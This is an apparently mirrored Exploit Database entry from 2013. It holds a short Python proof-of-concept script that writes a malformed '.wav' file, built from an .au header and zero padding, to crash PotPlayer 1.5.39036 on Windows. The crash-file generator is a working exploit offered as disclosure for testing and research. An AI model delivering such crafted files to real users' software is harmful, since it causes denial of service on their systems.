PotPlayer 1.5.39036 – ‘.wav’ Crash (PoC)

• Exploit Database
• 15 阅读

• 作者： ariarat
  日期： 2013-09-03
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/28051/

• # Exploit Title: PotPlayer Version 1.5.39036 - Beta (.wav) - Crash POC
  # Date: 03-09-2013
  # Exploit Author: ariarat
  # Software Link: http://download.cnet.com/Daum-Potplayer/3000-13632_4-75587055.html
  # Version: 1.5.39036
  # Tested on: [ Windows XP sp3]
  #============================================================================================
  # After creating PoC file (.wav),drag it to Player!
  #============================================================================================
  # Contact :
  #------------------
  # Web Page : http://ariarat.blogspot.com
  # Email: mehdi.esmaeelpour@gmail.com
  #============================================================================================
  
  #!/usr/bin/python
  
  string=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
  "\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
  "\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
  "\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
  
  filename = "potPlayer.wav"
  file = open(filename , "w")
  file.write(string)
  file.close()